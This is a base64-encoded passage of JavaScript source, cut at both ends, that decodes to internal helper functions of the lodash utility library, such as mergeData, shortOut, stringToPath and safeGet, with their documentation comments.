cGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBoYXZlIGl0cyBvdXRwdXQgbWVtb2l6ZWQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgbWVtb2l6ZWQgZnVuY3Rpb24uXG4gICAgICovXG4gICAgZnVuY3Rpb24gbWVtb2l6ZUNhcHBlZChmdW5jKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gbWVtb2l6ZShmdW5jLCBmdW5jdGlvbihrZXkpIHtcbiAgICAgICAgaWYgKGNhY2hlLnNpemUgPT09IE1BWF9NRU1PSVpFX1NJWkUpIHtcbiAgICAgICAgICBjYWNoZS5jbGVhcigpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBrZXk7XG4gICAgICB9KTtcblxuICAgICAgdmFyIGNhY2hlID0gcmVzdWx0LmNhY2hlO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBNZXJnZXMgdGhlIGZ1bmN0aW9uIG1ldGFkYXRhIG9mIGBzb3VyY2VgIGludG8gYGRhdGFgLlxuICAgICAqXG4gICAgICogTWVyZ2luZyBtZXRhZGF0YSByZWR1Y2VzIHRoZSBudW1iZXIgb2Ygd3JhcHBlcnMgdXNlZCB0byBpbnZva2UgYSBmdW5jdGlvbi5cbiAgICAgKiBUaGlzIGlzIHBvc3NpYmxlIGJlY2F1c2UgbWV0aG9kcyBsaWtlIGBfLmJpbmRgLCBgXy5jdXJyeWAsIGFuZCBgXy5wYXJ0aWFsYFxuICAgICAqIG1heSBiZSBhcHBsaWVkIHJlZ2FyZGxlc3Mgb2YgZXhlY3V0aW9uIG9yZGVyLiBNZXRob2RzIGxpa2UgYF8uYXJ5YCBhbmRcbiAgICAgKiBgXy5yZWFyZ2AgbW9kaWZ5IGZ1bmN0aW9uIGFyZ3VtZW50cywgbWFraW5nIHRoZSBvcmRlciBpbiB3aGljaCB0aGV5IGFyZVxuICAgICAqIGV4ZWN1dGVkIGltcG9ydGFudCwgcHJldmVudGluZyB0aGUgbWVyZ2luZyBvZiBtZXRhZGF0YS4gSG93ZXZlciwgd2UgbWFrZVxuICAgICAqIGFuIGV4Y2VwdGlvbiBmb3IgYSBzYWZlIGNvbWJpbmVkIGNhc2Ugd2hlcmUgY3VycmllZCBmdW5jdGlvbnMgaGF2ZSBgXy5hcnlgXG4gICAgICogYW5kIG9yIGBfLnJlYXJnYCBhcHBsaWVkLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBkYXRhIFRoZSBkZXN0aW5hdGlvbiBtZXRhZGF0YS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBzb3VyY2UgVGhlIHNvdXJjZSBtZXRhZGF0YS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGRhdGFgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1lcmdlRGF0YShkYXRhLCBzb3VyY2UpIHtcbiAgICAgIHZhciBiaXRtYXNrID0gZGF0YVsxXSxcbiAgICAgICAgICBzcmNCaXRtYXNrID0gc291cmNlWzFdLFxuICAgICAgICAgIG5ld0JpdG1hc2sgPSBiaXRtYXNrIHwgc3JjQml0bWFzayxcbiAgICAgICAgICBpc0NvbW1vbiA9IG5ld0JpdG1hc2sgPCAoV1JBUF9CSU5EX0ZMQUcgfCBXUkFQX0JJTkRfS0VZX0ZMQUcgfCBXUkFQX0FSWV9GTEFHKTtcblxuICAgICAgdmFyIGlzQ29tYm8gPVxuICAgICAgICAoKHNyY0JpdG1hc2sgPT0gV1JBUF9BUllfRkxBRykgJiYgKGJpdG1hc2sgPT0gV1JBUF9DVVJSWV9GTEFHKSkgfHxcbiAgICAgICAgKChzcmNCaXRtYXNrID09IFdSQVBfQVJZX0ZMQUcpICYmIChiaXRtYXNrID09IFdSQVBfUkVBUkdfRkxBRykgJiYgKGRhdGFbN10ubGVuZ3RoIDw9IHNvdXJjZVs4XSkpIHx8XG4gICAgICAgICgoc3JjQml0bWFzayA9PSAoV1JBUF9BUllfRkxBRyB8IFdSQVBfUkVBUkdfRkxBRykpICYmIChzb3VyY2VbN10ubGVuZ3RoIDw9IHNvdXJjZVs4XSkgJiYgKGJpdG1hc2sgPT0gV1JBUF9DVVJSWV9GTEFHKSk7XG5cbiAgICAgIC8vIEV4aXQgZWFybHkgaWYgbWV0YWRhdGEgY2FuJ3QgYmUgbWVyZ2VkLlxuICAgICAgaWYgKCEoaXNDb21tb24gfHwgaXNDb21ibykpIHtcbiAgICAgICAgcmV0dXJuIGRhdGE7XG4gICAgICB9XG4gICAgICAvLyBVc2Ugc291cmNlIGB0aGlzQXJnYCBpZiBhdmFpbGFibGUuXG4gICAgICBpZiAoc3JjQml0bWFzayAmIFdSQVBfQklORF9GTEFHKSB7XG4gICAgICAgIGRhdGFbMl0gPSBzb3VyY2VbMl07XG4gICAgICAgIC8vIFNldCB3aGVuIGN1cnJ5aW5nIGEgYm91bmQgZnVuY3Rpb24uXG4gICAgICAgIG5ld0JpdG1hc2sgfD0gYml0bWFzayAmIFdSQVBfQklORF9GTEFHID8gMCA6IFdSQVBfQ1VSUllfQk9VTkRfRkxBRztcbiAgICAgIH1cbiAgICAgIC8vIENvbXBvc2UgcGFydGlhbCBhcmd1bWVudHMuXG4gICAgICB2YXIgdmFsdWUgPSBzb3VyY2VbM107XG4gICAgICBpZiAodmFsdWUpIHtcbiAgICAgICAgdmFyIHBhcnRpYWxzID0gZGF0YVszXTtcbiAgICAgICAgZGF0YVszXSA9IHBhcnRpYWxzID8gY29tcG9zZUFyZ3MocGFydGlhbHMsIHZhbHVlLCBzb3VyY2VbNF0pIDogdmFsdWU7XG4gICAgICAgIGRhdGFbNF0gPSBwYXJ0aWFscyA/IHJlcGxhY2VIb2xkZXJzKGRhdGFbM10sIFBMQUNFSE9MREVSKSA6IHNvdXJjZVs0XTtcbiAgICAgIH1cbiAgICAgIC8vIENvbXBvc2UgcGFydGlhbCByaWdodCBhcmd1bWVudHMuXG4gICAgICB2YWx1ZSA9IHNvdXJjZVs1XTtcbiAgICAgIGlmICh2YWx1ZSkge1xuICAgICAgICBwYXJ0aWFscyA9IGRhdGFbNV07XG4gICAgICAgIGRhdGFbNV0gPSBwYXJ0aWFscyA/IGNvbXBvc2VBcmdzUmlnaHQocGFydGlhbHMsIHZhbHVlLCBzb3VyY2VbNl0pIDogdmFsdWU7XG4gICAgICAgIGRhdGFbNl0gPSBwYXJ0aWFscyA/IHJlcGxhY2VIb2xkZXJzKGRhdGFbNV0sIFBMQUNFSE9MREVSKSA6IHNvdXJjZVs2XTtcbiAgICAgIH1cbiAgICAgIC8vIFVzZSBzb3VyY2UgYGFyZ1Bvc2AgaWYgYXZhaWxhYmxlLlxuICAgICAgdmFsdWUgPSBzb3VyY2VbN107XG4gICAgICBpZiAodmFsdWUpIHtcbiAgICAgICAgZGF0YVs3XSA9IHZhbHVlO1xuICAgICAgfVxuICAgICAgLy8gVXNlIHNvdXJjZSBgYXJ5YCBpZiBpdCdzIHNtYWxsZXIuXG4gICAgICBpZiAoc3JjQml0bWFzayAmIFdSQVBfQVJZX0ZMQUcpIHtcbiAgICAgICAgZGF0YVs4XSA9IGRhdGFbOF0gPT0gbnVsbCA/IHNvdXJjZVs4XSA6IG5hdGl2ZU1pbihkYXRhWzhdLCBzb3VyY2VbOF0pO1xuICAgICAgfVxuICAgICAgLy8gVXNlIHNvdXJjZSBgYXJpdHlgIGlmIG9uZSBpcyBub3QgcHJvdmlkZWQuXG4gICAgICBpZiAoZGF0YVs5XSA9PSBudWxsKSB7XG4gICAgICAgIGRhdGFbOV0gPSBzb3VyY2VbOV07XG4gICAgICB9XG4gICAgICAvLyBVc2Ugc291cmNlIGBmdW5jYCBhbmQgbWVyZ2UgYml0bWFza3MuXG4gICAgICBkYXRhWzBdID0gc291cmNlWzBdO1xuICAgICAgZGF0YVsxXSA9IG5ld0JpdG1hc2s7XG5cbiAgICAgIHJldHVybiBkYXRhO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgZnVuY3Rpb24gaXMgbGlrZVxuICAgICAqIFtgT2JqZWN0LmtleXNgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3Qua2V5cylcbiAgICAgKiBleGNlcHQgdGhhdCBpdCBpbmNsdWRlcyBpbmhlcml0ZWQgZW51bWVyYWJsZSBwcm9wZXJ0aWVzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiBwcm9wZXJ0eSBuYW1lcy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBuYXRpdmVLZXlzSW4ob2JqZWN0KSB7XG4gICAgICB2YXIgcmVzdWx0ID0gW107XG4gICAgICBpZiAob2JqZWN0ICE9IG51bGwpIHtcbiAgICAgICAgZm9yICh2YXIga2V5IGluIE9iamVjdChvYmplY3QpKSB7XG4gICAgICAgICAgcmVzdWx0LnB1c2goa2V5KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgc3RyaW5nIHVzaW5nIGBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgc3RyaW5nLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG9iamVjdFRvU3RyaW5nKHZhbHVlKSB7XG4gICAgICByZXR1cm4gbmF0aXZlT2JqZWN0VG9TdHJpbmcuY2FsbCh2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlUmVzdGAgd2hpY2ggdHJhbnNmb3JtcyB0aGUgcmVzdCBhcnJheS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gYXBwbHkgYSByZXN0IHBhcmFtZXRlciB0by5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3N0YXJ0PWZ1bmMubGVuZ3RoLTFdIFRoZSBzdGFydCBwb3NpdGlvbiBvZiB0aGUgcmVzdCBwYXJhbWV0ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gdHJhbnNmb3JtIFRoZSByZXN0IGFycmF5IHRyYW5zZm9ybS5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBvdmVyUmVzdChmdW5jLCBzdGFydCwgdHJhbnNmb3JtKSB7XG4gICAgICBzdGFydCA9IG5hdGl2ZU1heChzdGFydCA9PT0gdW5kZWZpbmVkID8gKGZ1bmMubGVuZ3RoIC0gMSkgOiBzdGFydCwgMCk7XG4gICAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICAgIHZhciBhcmdzID0gYXJndW1lbnRzLFxuICAgICAgICAgICAgaW5kZXggPSAtMSxcbiAgICAgICAgICAgIGxlbmd0aCA9IG5hdGl2ZU1heChhcmdzLmxlbmd0aCAtIHN0YXJ0LCAwKSxcbiAgICAgICAgICAgIGFycmF5ID0gQXJyYXkobGVuZ3RoKTtcblxuICAgICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICAgIGFycmF5W2luZGV4XSA9IGFyZ3Nbc3RhcnQgKyBpbmRleF07XG4gICAgICAgIH1cbiAgICAgICAgaW5kZXggPSAtMTtcbiAgICAgICAgdmFyIG90aGVyQXJncyA9IEFycmF5KHN0YXJ0ICsgMSk7XG4gICAgICAgIHdoaWxlICgrK2luZGV4IDwgc3RhcnQpIHtcbiAgICAgICAgICBvdGhlckFyZ3NbaW5kZXhdID0gYXJnc1tpbmRleF07XG4gICAgICAgIH1cbiAgICAgICAgb3RoZXJBcmdzW3N0YXJ0XSA9IHRyYW5zZm9ybShhcnJheSk7XG4gICAgICAgIHJldHVybiBhcHBseShmdW5jLCB0aGlzLCBvdGhlckFyZ3MpO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBwYXJlbnQgdmFsdWUgYXQgYHBhdGhgIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtBcnJheX0gcGF0aCBUaGUgcGF0aCB0byBnZXQgdGhlIHBhcmVudCB2YWx1ZSBvZi5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcGFyZW50IHZhbHVlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHBhcmVudChvYmplY3QsIHBhdGgpIHtcbiAgICAgIHJldHVybiBwYXRoLmxlbmd0aCA8IDIgPyBvYmplY3QgOiBiYXNlR2V0KG9iamVjdCwgYmFzZVNsaWNlKHBhdGgsIDAsIC0xKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVvcmRlciBgYXJyYXlgIGFjY29yZGluZyB0byB0aGUgc3BlY2lmaWVkIGluZGV4ZXMgd2hlcmUgdGhlIGVsZW1lbnQgYXRcbiAgICAgKiB0aGUgZmlyc3QgaW5kZXggaXMgYXNzaWduZWQgYXMgdGhlIGZpcnN0IGVsZW1lbnQsIHRoZSBlbGVtZW50IGF0XG4gICAgICogdGhlIHNlY29uZCBpbmRleCBpcyBhc3NpZ25lZCBhcyB0aGUgc2Vjb25kIGVsZW1lbnQsIGFuZCBzbyBvbi5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHJlb3JkZXIuXG4gICAgICogQHBhcmFtIHtBcnJheX0gaW5kZXhlcyBUaGUgYXJyYW5nZWQgYXJyYXkgaW5kZXhlcy5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiByZW9yZGVyKGFycmF5LCBpbmRleGVzKSB7XG4gICAgICB2YXIgYXJyTGVuZ3RoID0gYXJyYXkubGVuZ3RoLFxuICAgICAgICAgIGxlbmd0aCA9IG5hdGl2ZU1pbihpbmRleGVzLmxlbmd0aCwgYXJyTGVuZ3RoKSxcbiAgICAgICAgICBvbGRBcnJheSA9IGNvcHlBcnJheShhcnJheSk7XG5cbiAgICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgICB2YXIgaW5kZXggPSBpbmRleGVzW2xlbmd0aF07XG4gICAgICAgIGFycmF5W2xlbmd0aF0gPSBpc0luZGV4KGluZGV4LCBhcnJMZW5ndGgpID8gb2xkQXJyYXlbaW5kZXhdIDogdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGFycmF5O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIHZhbHVlIGF0IGBrZXlgLCB1bmxlc3MgYGtleWAgaXMgXCJfX3Byb3RvX19cIiBvciBcImNvbnN0cnVjdG9yXCIuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHByb3BlcnR5IHRvIGdldC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgcHJvcGVydHkgdmFsdWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gc2FmZUdldChvYmplY3QsIGtleSkge1xuICAgICAgaWYgKGtleSA9PT0gJ2NvbnN0cnVjdG9yJyAmJiB0eXBlb2Ygb2JqZWN0W2tleV0gPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICBpZiAoa2V5ID09ICdfX3Byb3RvX18nKSB7XG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIG9iamVjdFtrZXldO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFNldHMgbWV0YWRhdGEgZm9yIGBmdW5jYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBJZiB0aGlzIGZ1bmN0aW9uIGJlY29tZXMgaG90LCBpLmUuIGlzIGludm9rZWQgYSBsb3QgaW4gYSBzaG9ydFxuICAgICAqIHBlcmlvZCBvZiB0aW1lLCBpdCB3aWxsIHRyaXAgaXRzIGJyZWFrZXIgYW5kIHRyYW5zaXRpb24gdG8gYW4gaWRlbnRpdHlcbiAgICAgKiBmdW5jdGlvbiB0byBhdm9pZCBnYXJiYWdlIGNvbGxlY3Rpb24gcGF1c2VzIGluIFY4LiBTZWVcbiAgICAgKiBbVjggaXNzdWUgMjA3MF0oaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Y4L2lzc3Vlcy9kZXRhaWw/aWQ9MjA3MClcbiAgICAgKiBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBhc3NvY2lhdGUgbWV0YWRhdGEgd2l0aC5cbiAgICAgKiBAcGFyYW0geyp9IGRhdGEgVGhlIG1ldGFkYXRhLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyBgZnVuY2AuXG4gICAgICovXG4gICAgdmFyIHNldERhdGEgPSBzaG9ydE91dChiYXNlU2V0RGF0YSk7XG5cbiAgICAvKipcbiAgICAgKiBBIHNpbXBsZSB3cmFwcGVyIGFyb3VuZCB0aGUgZ2xvYmFsIFtgc2V0VGltZW91dGBdKGh0dHBzOi8vbWRuLmlvL3NldFRpbWVvdXQpLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBkZWxheS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gd2FpdCBUaGUgbnVtYmVyIG9mIG1pbGxpc2Vjb25kcyB0byBkZWxheSBpbnZvY2F0aW9uLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ8T2JqZWN0fSBSZXR1cm5zIHRoZSB0aW1lciBpZCBvciB0aW1lb3V0IG9iamVjdC5cbiAgICAgKi9cbiAgICB2YXIgc2V0VGltZW91dCA9IGN0eFNldFRpbWVvdXQgfHwgZnVuY3Rpb24oZnVuYywgd2FpdCkge1xuICAgICAgcmV0dXJuIHJvb3Quc2V0VGltZW91dChmdW5jLCB3YWl0KTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogU2V0cyB0aGUgYHRvU3RyaW5nYCBtZXRob2Qgb2YgYGZ1bmNgIHRvIHJldHVybiBgc3RyaW5nYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IHN0cmluZyBUaGUgYHRvU3RyaW5nYCByZXN1bHQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIGBmdW5jYC5cbiAgICAgKi9cbiAgICB2YXIgc2V0VG9TdHJpbmcgPSBzaG9ydE91dChiYXNlU2V0VG9TdHJpbmcpO1xuXG4gICAgLyoqXG4gICAgICogU2V0cyB0aGUgYHRvU3RyaW5nYCBtZXRob2Qgb2YgYHdyYXBwZXJgIHRvIG1pbWljIHRoZSBzb3VyY2Ugb2YgYHJlZmVyZW5jZWBcbiAgICAgKiB3aXRoIHdyYXBwZXIgZGV0YWlscyBpbiBhIGNvbW1lbnQgYXQgdGhlIHRvcCBvZiB0aGUgc291cmNlIGJvZHkuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IHdyYXBwZXIgVGhlIGZ1bmN0aW9uIHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSByZWZlcmVuY2UgVGhlIHJlZmVyZW5jZSBmdW5jdGlvbi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy4gU2VlIGBjcmVhdGVXcmFwYCBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyBgd3JhcHBlcmAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gc2V0V3JhcFRvU3RyaW5nKHdyYXBwZXIsIHJlZmVyZW5jZSwgYml0bWFzaykge1xuICAgICAgdmFyIHNvdXJjZSA9IChyZWZlcmVuY2UgKyAnJyk7XG4gICAgICByZXR1cm4gc2V0VG9TdHJpbmcod3JhcHBlciwgaW5zZXJ0V3JhcERldGFpbHMoc291cmNlLCB1cGRhdGVXcmFwRGV0YWlscyhnZXRXcmFwRGV0YWlscyhzb3VyY2UpLCBiaXRtYXNrKSkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0J2xsIHNob3J0IG91dCBhbmQgaW52b2tlIGBpZGVudGl0eWAgaW5zdGVhZFxuICAgICAqIG9mIGBmdW5jYCB3aGVuIGl0J3MgY2FsbGVkIGBIT1RfQ09VTlRgIG9yIG1vcmUgdGltZXMgaW4gYEhPVF9TUEFOYFxuICAgICAqIG1pbGxpc2Vjb25kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gcmVzdHJpY3QuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgc2hvcnRhYmxlIGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNob3J0T3V0KGZ1bmMpIHtcbiAgICAgIHZhciBjb3VudCA9IDAsXG4gICAgICAgICAgbGFzdENhbGxlZCA9IDA7XG5cbiAgICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgICAgdmFyIHN0YW1wID0gbmF0aXZlTm93KCksXG4gICAgICAgICAgICByZW1haW5pbmcgPSBIT1RfU1BBTiAtIChzdGFtcCAtIGxhc3RDYWxsZWQpO1xuXG4gICAgICAgIGxhc3RDYWxsZWQgPSBzdGFtcDtcbiAgICAgICAgaWYgKHJlbWFpbmluZyA+IDApIHtcbiAgICAgICAgICBpZiAoKytjb3VudCA+PSBIT1RfQ09VTlQpIHtcbiAgICAgICAgICAgIHJldHVybiBhcmd1bWVudHNbMF07XG4gICAgICAgICAgfVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGNvdW50ID0gMDtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZnVuYy5hcHBseSh1bmRlZmluZWQsIGFyZ3VtZW50cyk7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5zaHVmZmxlYCB3aGljaCBtdXRhdGVzIGFuZCBzZXRzIHRoZSBzaXplIG9mIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBzaHVmZmxlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbc2l6ZT1hcnJheS5sZW5ndGhdIFRoZSBzaXplIG9mIGBhcnJheWAuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBhcnJheWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gc2h1ZmZsZVNlbGYoYXJyYXksIHNpemUpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgICBsYXN0SW5kZXggPSBsZW5ndGggLSAxO1xuXG4gICAgICBzaXplID0gc2l6ZSA9PT0gdW5kZWZpbmVkID8gbGVuZ3RoIDogc2l6ZTtcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgc2l6ZSkge1xuICAgICAgICB2YXIgcmFuZCA9IGJhc2VSYW5kb20oaW5kZXgsIGxhc3RJbmRleCksXG4gICAgICAgICAgICB2YWx1ZSA9IGFycmF5W3JhbmRdO1xuXG4gICAgICAgIGFycmF5W3JhbmRdID0gYXJyYXlbaW5kZXhdO1xuICAgICAgICBhcnJheVtpbmRleF0gPSB2YWx1ZTtcbiAgICAgIH1cbiAgICAgIGFycmF5Lmxlbmd0aCA9IHNpemU7XG4gICAgICByZXR1cm4gYXJyYXk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29udmVydHMgYHN0cmluZ2AgdG8gYSBwcm9wZXJ0eSBwYXRoIGFycmF5LlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gc3RyaW5nIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHByb3BlcnR5IHBhdGggYXJyYXkuXG4gICAgICovXG4gICAgdmFyIHN0cmluZ1RvUGF0aCA9IG1lbW9pemVDYXBwZWQoZnVuY3Rpb24oc3RyaW5nKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gW107XG4gICAgICBpZiAoc3RyaW5nLmNoYXJDb2RlQXQoMCkgPT09IDQ2IC8qIC4gKi8pIHtcbiAgICAgICAgcmVzdWx0LnB1c2goJycpO1xuICAgICAgfVxuICAgICAgc3RyaW5nLnJlcGxhY2UocmVQcm9wTmFtZSwgZnVuY3Rpb24obWF0Y2gsIG51bWJlciwgcXVvdGUsIHN1YlN0cmluZykge1xuICAgICAgICByZXN1bHQucHVzaChxdW90ZSA/IHN1YlN0cmluZy5yZXBsYWNlKHJlRXNjYXBlQ2hhciwgJyQxJykgOiAobnVtYmVyIHx8IG1hdGNoKSk7XG4gICAgICB9KTtcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgc3RyaW5nIGtleSBpZiBpdCdzIG5vdCBhIHN0cmluZyBvciBzeW1ib2wuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge3N0cmluZ3xzeW1ib2x9IFJldHVybnMgdGhlIGtleS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0b0tleSh2YWx1ZSkge1xuICAgICAgaWYgKHR5cGVvZiB2YWx1ZSA9PSAnc3RyaW5nJyB8fCBpc1N5bWJvbCh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIHZhbHVlO1xuICAgICAgfVxuICAgICAgdmFyIHJlc3VsdCA9ICh2YWx1ZSArICcnKTtcbiAgICAgIHJldHVybiAocmVzdWx0ID09ICcwJyAmJiAoMSAvIHZhbHVlKSA9PSAtSU5GSU5JVFkpID8gJy0wJyA6IHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgZnVuY2AgdG8gaXRzIHNvdXJjZSBjb2RlLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIHNvdXJjZSBjb2RlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvU291cmNlKGZ1bmMpIHtcbiAgICAgIGlmIChmdW5jICE9IG51bGwpIHtcbiAgICAgICAgdHJ5IHtcbiAgICAgICAgICByZXR1cm4gZnVuY1RvU3RyaW5nLmNhbGwoZnVuYyk7XG4gICAgICAgIH0gY2F0Y2ggKGUpIHt9XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgcmV0dXJuIChmdW5jICsgJycpO1xuICAgICAgICB9IGNhdGNoIChlKSB7fVxuICAgICAgfVxuICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFVwZGF0ZXMgd3JhcHBlciBgZGV0YWlsc2AgYmFzZWQgb24gYGJpdG1hc2tgIGZsYWdzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcm